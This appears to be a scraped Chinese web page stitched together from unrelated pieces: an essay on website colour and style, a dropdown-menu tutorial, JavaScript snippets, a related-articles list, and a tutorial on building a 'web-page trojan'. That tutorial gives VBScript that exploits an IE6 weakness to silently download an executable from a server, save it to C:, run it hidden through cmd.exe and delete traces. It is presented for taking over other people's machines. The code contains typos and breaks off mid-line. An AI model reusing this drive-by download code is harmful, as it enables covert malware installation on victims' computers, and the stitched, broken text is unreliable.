网站中的个性及风格设计
一个人拥有自己独特的风格，是一般人所没有的，就会让人注意到那个人的特别，若那个人的风格是正面的，甚至就会引起别人的羡慕与注意，或是赞赏。就如同一个网站，拥有别的网站所没有的风格，就会让浏览者愿意多停留些时间，细细品尝该站的内容，甚至该站会得到多人的鼓励与注目，粗略的说，网站风格可以从以下几个方向来探讨，而每一项都是有关联性的：
1. 色系：网页的底色、文字字型、图片的色系、颜色等等。
2. 排版：表格、框架的应用、文字缩排、段落等等。
3. 窗口：窗口效果，例如：全屏幕窗口、特效窗口等。
4. 程序：网页互动程序，例如：ASP . PHP . XML . CGI等等。
5. 特效：让网页看起来生动活泼的各种应用，如：Flash . Java script . Java applets . DHTML等等。
6. 架构：目录规划、层次浅显易懂、选单应用等等。
7. 内容：网站主题、整体实用性、文件关联性、内容切合度、是否有不必要的档案等等。
8. 走向：对于网站的未来规划、网站整体内容走向等。
以上这些项目都与网页风格有密切的关系，网页的风格不是某一项相同，网站就是有整体感，而是要各项目的配合应用，才能达到完美的网站风格设计。接下来的段落，将会为每个项目做简单的介绍。
【一、色系 】
网站的色系是浏览者整体的视觉观感，若一个网站色系能有一致性，不仅会使网站看起来美观，更能让浏览者对内容不易混淆，增加了浏览的简洁与方便。而网站的色系更能衬托出网站的主题，若色系能与主题合理搭配，将会增加浏览者的易读性。网站的色系包含了网页的底色、文字字型、图片的色系、颜色等等，这不单只是将颜色搭配得当就算完美，还要配合每个内容，及网站主题。对于网站的色系，应该要在网站开始制作前，做好规划及设计，才不会到着手制作网站时，难以搭配，甚至造成混乱的设计。
网页的底色是整个网站风格的重要指针。举例来说，以黑色作为背景颜色的网页，因黑色本对人的视觉上会造成黯淡的感觉，若是拿来用作活泼的儿童网站，就是不适合了。因为小孩子是天真无邪的、活泼的、有朝气的，与黑色的沉稳、黯淡，很难联想在一起。再举个例子，若是写一个有关于环保的网站，若用暗红色作为网页底色，决计不会有人联想到网页的内容是与环保有关。当然，每个人的审美观不同，可能也会对颜色的代表性看法不同，但既然网站不是只写给自己看的，就应该要注意到大部分人可能会有的观点，然后以众人居多的观点出发，来设计网页。
文字字型上的设计，最好的网站是以所有浏览者都能看到的字型为主。常会看到有需多网站要求浏览者须自行下载某种字型，才能达到最佳浏览效果，这是种非常奇怪的行为。毕竟浏览者只是来找资料或是来看网站的内容，不可能会因为这种「为达最佳浏览效果」，而自行下载所需要的字型。当所要求的字型若不下载，并不会影响到网站内容上的浏览与不便，那么对浏览者的要求就微乎其微的不可能发生任何作用。这么一来，对于网页设计者来说，无非是非常可惜的，因为当初的设计风格却未能让浏览者一窥全貌，岂不是白费心思的吗？
何谓图片的色系？以色彩学简单的区分，可分为冷色系与暖色系，再详细一点的区分，又可分出各种颜色的色系，而色系的区分，就在于主观浏览意识上的差异了。如何将图片的色系与网站整体色系相对应，就是比较困难的地方了。对于网页初学者来说，要绘制一张图并非易事，要绘制一张符合自己网页风格的图，更是困难重重。大部分的网页制作者，并不大可能驾轻就熟的使用影像处理软件或绘图软件，于是乎，网页素材的网站就开始盛行了。当然，不会使用绘图软件并不代表网页就不能设计的很出色，若是能将网络上的素材资源妥善利用，网站也是可以走出自己的风格的。而该怎么选择适合自己网站的图片，就是门很大的学问了。
选择图片该以何作为标准呢？举例来说，若网站内容为科学探讨，当然不能以卡通图片来作为插图，试想，当您正在浏览一个有关天文学的网站，却满是皮卡丘的可爱图片，不是很不协调吗？再举个例子，如果一个教学网站，里头却尽是明星图片，看上去根本就不像是教学网站，而是大杂汇的明星相片网。很多人喜欢将自己欣赏的明星照放上自己的网页中，如果仅是个人网站倒也还好，因为个人网站本就无主题居多，也就没有所谓的符不符合主题的顾虑，但若是有主题的网站，岂不糟糕？
以图片内容来说，能切合网站主题最好，若不能，也别差异太多。以颜色来说，若一个网页是蓝色的底色，但整个网页的图档却乱七八糟，各种颜色纷纷出笼，更糟的是，蓝色是属于冷色系的颜色，若以蓝色为底的网页，却尽都是大红色、橘色的图片，那将会使整张网页看起来就像垃圾堆，杂乱无章。所以，可以简单的归纳出，网页与图档的颜色，色系一致或是视觉效果一致，将会使网页看起来更为美观且有自己的风格。
网页的颜色，并非单一就图文件、文字颜色、或是底色为主，而是以浏览者的角度来观看，整体网页看上去是偏向哪种色系。常常见到许多网站虽然色系搭配的很好，但却是没有自己的风格。以目前流行的柔色系、粉色系网站来说，就是失了自己独到的风格。因为使用粉色系的网站，不外乎都有相同的特点，文字颜色浅，底色也以浅色系为主，这样除了没有自己的风格外，看起来既不大方也难登大雅之堂。
仿Windows下拉菜单，在网上是比较常见的，最初出现在微软网站上，之后被大量效仿。 事实上制作这样一个模拟菜单也并不是一件很困难的事，比如上面的例子代码如下：
-------------------------------------------
＜!-- 样式部分 --＞
＜style type=text/css＞
td,div { font: normal 12px 宋体; }
a { color: #F8F8F8; text-decoration: none; }
a:hover { color: #F8F8F8; text-decoration: underline; }
＜/style＞
＜!-- 实现部分 --＞
＜div style="background-color:#3366CC;width:68px;text-align:center;
padding:3px;border-bottom:1px solid #FFFFFF;z-index:1;"
onmouseover="myMenu.style.display='block'"
onmouseout="myMenu.style.display='none'"＞
＜div style="position:absolute;width:0px;height:0px;overflow:visible;"＞
＜div id=myMenu style="position:absolute;left:-10px;top:18px;display:none;
width:90px;background-color:#3366CC;padding:5px;text-align:left;"＞
＜a href=http:///htmldata/2005-06-18/1119051233.html#none＞Link 1＜/a＞＜br＞
＜a href=http:///htmldata/2005-06-18/1119051233.html#none＞Link 2＜/a＞＜br＞
＜a href=http:///htmldata/2005-06-18/1119051233.html#none＞Link 3＜/a＞＜br＞
＜a＞...＜/a＞＜br＞
＜a href=http:///htmldata/2005-06-18/1119051233.html#none＞Link N＜/a＞＜br＞
＜/div＞
＜/div＞
＜a href=http:///htmldata/2005-06-18/1119051233.html#none＞菜单实例＜/a＞
＜/div＞
-----------------------------------
那么下面我们就由浅入深的对这种模拟菜单进行分析讲解。
在讲解之前，有一点需要说明的是：笔者在后面讲解的代码都基于当前的主流浏览器Microsoft Internet Explorer（即我们通常所说的IE）下的。笔者进行调试的浏览器是IE 5.01。另外，这样一个菜单体现的是HTML/CSS/javascript的综合应用，这里并不对一些细节进行详细的讲解，所以你至少应该有一点这方面的基础。
基本原理
其实，这个菜单实现的原理简单的说就是：设置页面元素的CSS属性，对其进行定位并设置其是否可见，然后通过激发一定的事件，用javascript来动态的改变这些属性。
看下面几个CSS属性：
position：定位类型，取值static/absolute/relative，其代表的含义简单的说即无定位/绝对定位/相对定位；
left：距离左侧的位置（具体的参照物与position的设置有关），单位为px或%；
top：距离顶部的位置（具体的参照物与position的设置有关），单位为px或%。
display：页面元素的显示状态，如取值block表示做为块状元素显示，none则为不显示，还有其他一些取值（如inline等）这里就不做详解。
比如上例中的“div id=myMenu style="position:absolute;left:-10px;top:18px;display:none...”就是使用了这几个属性。
下面我们来看看如何用javascript来控制页面元素的CSS属性。
如今，上网冲浪已经是一件很时髦的事情，在网上安“家”的虫虫们也越来越多。为了使自己的“家”更有特色，吸引更多的人参观，往往是“八仙过海，各显神通”。而使用得最多的就是应用一些JaveScript小插件。本文就向各位网友提供比较常用的小程序。
使用方法很简单，拷贝＋粘贴即可。如果你稍懂一些HTML语言和JaveScript插件语法则更好。
1.欢迎对话框
一进入网友的“家”，冷不丁蹦出来一个问好的对话框，是不是感到很亲切?没错，实现这效果的程序就是下面的几行：
＜SCRIPT LANGUAGE=″JAVASCRIPT″＞
alert (″n ″既来之，则安之″nn 欢迎您光临我的主页nn 别犹豫 nn LET'S GO！″);
＜/SCRIPT＞
(注：n 的作用是在对话框中换行)
＜b＞2.停留时间＜/b＞
网友进入你的“家”，抬头一看，有一个计时钟在不停地跳动，显示他的来访时间，很有趣吧!程序如下：
＜HTML＞
＜HEAD＞
＜META HTTP－EQUIV=″Content－Type″ CONTENT=″text/html;CHARSET=gb2312″＞
＜TITLE＞停留时间＜/TITLE＞
＜/HEAD＞
＜SCRIPT LANGUAGE=″JAVASCRIPT″＞
＜!－－
var ap_name = navigator.appName;
var ap_vinfo = navigator.appVersion;
var ap_ver = parseFloat(ap_vinfo.substring(0,ap_vinfo.indexOf(′(′)));
var time_start = new Date();
var clock_start = time_start.getTime();
var dl_ok=false;
function init ()
{
if(ap_name==″Netscape″ ＆＆ ap_ver＞=3.0)
dl_ok=true;
return true;
7}
function get_time_spent ()
{
var time_now = new Date();
return((time_now.getTime() － clock_start)/1000);
}
function show_secs () // show the time user spent on the side
{
var i_total_secs = Math.round(get_time_spent());
var i_secs_spent = i_total_secs ％ 60;
var i_mins_spent = Math.round((i_total_secs－30)/60);
var s_secs_spent = ″″ ＋ ((i_secs_spent＞9) ? i_secs_spent : ″0″ ＋ i_secs_spent);
var s_mins_spent = ″″ ＋ ((i_mins_spent＞9) ? i_mins_spent : ″0″ ＋ i_mins_spent);
document.fm0.time_spent.value = s_mins_spent ＋ ″:″ ＋ s_secs_spent;
window.setTimeout(′show_secs()′,1000);
}
// －－＞
＜/SCRIPT＞
＜BODY onLoad=″init(); window.setTimeout(′show_secs()′,1);″＞
＜form name=″fm0″ onSubmit=″0″＞
＜font size=″－1″＞＜I＞＜FONT COLOR=″＃888888″＞停留时间:＜/FONT＞＜/I＞＜/font＞＜br＞
＜INPUT type=″text″ name=″time_spent″ size=7 onFocus=″this.blur()″＞
＜/form＞
＜/BODY＞
＜/HTML＞
以前写了一篇文章，讲了关于怎样用最简单的方法获取对方的管理权限，里面用到了网页木马，最近有许多网友问我怎样制作网页木马，就这个问题我发表篇比较简单易懂的文章，希望大家珍惜我的劳动成果。
我们经常听到这样的忠告：“不要随意下在不明的程序，不要随意打开邮件的附件...”这样的忠告确实是有用的，不过我们的系统有不少漏洞，许多木马已经不需要客户端和服务端了，他们利用这些系统漏洞按照被系统认为合法的代码执行木马的功能，有的木马会在你完全不知道的情况下潜入，现在我来讲解下通过IE6的漏洞实现访问网页后神不知鬼不觉的下在并执行指定程序的例子，也就是网页木马.
首先我们需要编写几个简单的文件
一。名字为abc.abc的文件
<html>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.respomseBody
Savefile HttpDoGet,"c:win.exe"
End If
Set oReq=nothing
End Function
sub SaveFile(str.fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type =1
objStream.Open
objStream.write str
objStream.SaveToFile fName.2
objStream.Close()
set objStream = nothing
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:win.exe",0)
b=wshshell.run ("cmd.exe /c del c:win.hta",0)
window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>
其中test.exe为木马程序，实现必须放在WEB发布的目录下，文件abc.abc也必须保存在发布的目录下。
二。名字为test.htm的文件
<html><body>
木马运行测试！（这句话可以改成你想说的）
<object date="' target=_blank>http://127.0.0.1/win.test";;;></object>
</body></html>
三。名字为win.test的文件
<html>
<body>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet,"c:win.hta"
Set oReq=nothing
End if
end function
sub SaveFile(str,fName)
Dim fso, tf
S e t f s o = C r e a t e O b j e c t(Scripting.FileSystemObject")
Set tf = fso.CreateTextfile(fName,True)
tf.Write str
tf.Close
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:win.hat",
一、利用CSS样式 style="border:1px solid #ff0000"
<tr>
<td> </td>
</tr>
<tr>
<td> </td>
</tr>
</table>
相关文章
- 今天我来给大家介绍在php中跨网站请求伪造的实现方法与最后我们些常用的防止伪造的具体操作方法，有需要了解的朋友可进入参考。 伪造跨站请求介绍 伪造跨站请求...2016-11-25
- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说一说设计一幅大鱼海棠动画片海报制作的实例教程，各位想知道具体制作步骤的使用者们，那么各位就快来看看...2016-09-14
- 获取网站icon，常用最简单的方法就是通过website/favicon.ico来获取，不过由于很多网站都是在页面里面设置favicon，所以此方法很多情况都不可用。 更好的办法是通过google提供的服务来实现：http://www.google.com/s2/favi...2014-06-07
- ps软件是一款非常不错的图片处理软件，有着非常不错的使用效果。这次文章要给大家介绍的是ps怎么制作倒影，一起来看看设计倒影的方法。 用ps怎么做倒影最终效果̳...2017-07-06
- 这篇文章主要介绍了C语言程序设计第五版谭浩强课后答案(第二章答案),小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧...2021-04-02
- 今天小编在这里就来给Photoshop的这一款软件的使用者们来说下计商务名片的5种常见思路，各位想知道的使用者，那么下面就快来跟着小编一起看一看吧。 给各位Photosho...2016-09-14
mac下Apache + MySql + PHP搭建网站开发环境
首先为什不自己分别搭建Apache，PHP和MySql的环境呢？这样自己可以了解更多知识，说起来也更酷。可也许因为我懒吧，我是那种“既然有现成的，用就是了”的人。君子生非异也，善假于物也。两千年前的荀子就教导我们，要善于利用工具...2014-06-07- 最近在网上看到了新版的360安全卫士，感觉界面还不错，于是用WPF制作了一个，时间有限，一些具体的控件没有制作，用图片代替了。感兴趣的朋友一起跟着小编学习WPF实现类似360安全卫士界面的程序源码分享...2020-06-25
- 我要实现的就是下图的这种样式，可参考下面这两个网站的留言板，他们的实现原理都是一样的畅言留言板样式：网易跟帖样式：原理 需要在评论表添加两个主要字段 id 和 pid ，其他字段随意添加，比如文章id、回复时间、回复内容、...2015-11-08
网站广告怎么投放最好?首屏广告投放类型优化和广告位布局优化的案例
网站广告怎么投放最好?一个网站中广告位置最好的是哪几个地方呢，许多的朋友都不知道如何让自己的网站广告收效最好了，今天我们就一起来看看吧。 在说到联盟优化前,...2016-10-10- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说下安卓和苹果的界面设计之尺寸规范，各位想知道的使用者们，那么下面就快来跟着小编一起看看吧。 给...2016-09-14
- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说一说设计重影效果具体的制作教程，各位想知道具体制作方法的软件使用者们，那么大家就来看下小编带来的教...2016-09-14
Illustrator结合photoshop设计可爱的卡通女厨师头像制作教程
今天小编在这里就来给Illustrator的这一款软件的使用者们来说一说结合photoshop设计可爱的卡通女厨师头像的制作教程，各位想知道具体制作步骤的使用者们，那么下面就快来...2016-09-14- PS怎么设计T恤？很多人都想要在T恤上有自己喜欢的图案，那么自己设计T恤的图案是方法之一，本次为大家带来了详细的ps设计T恤教程，有兴趣的同学快来看看吧。 1、打开PS，新...2016-12-31
- 今天小编在这里就来给photoshop的这一款软件的使用者们来详细的说说设计一张节约用水环保主题海报的制作教程，各位想知道具体制作方法的使用者们，那么下面就快来跟着小...2016-09-14
基于Bootstrap实现Material Design风格表单插件 附源码下载
Jquery Material Form Plugin是一款基于Bootstrap的Material Design风格的jQuery表单插件。这篇文章主要介绍了基于Bootstrap的Material Design风格表单插件附源码下载，感兴趣的朋友参考下...2016-04-19- 个人网站建设应该考虑哪些问题呢？这个问题我们先在这里不说，下文会一一列出来，希望这些建义能帮助到各位同学哦。 我相信VIP成员里面有很多站长，每个人几乎都拥有一个...2016-10-10
- c#实现51单片机频率计的代码分享,大家参考使用吧...2020-06-25
- 分享一篇利用论坛签名提升网站权重的方法，在推广中论坛签名也是一种不错的外链推荐的方法，但现在权重越来越低了，有需要的朋友可以看看。 话说有一天在站长网上面看...2016-10-10
- 今天小编在这里就来给给各位photoshop的这一款软件的使用者们来说一说设计蜘蛛侠纹理文字效果的制作教程，各位想知道具体制作步骤的使用者们，那么大家下面就来跟着小编...2016-09-14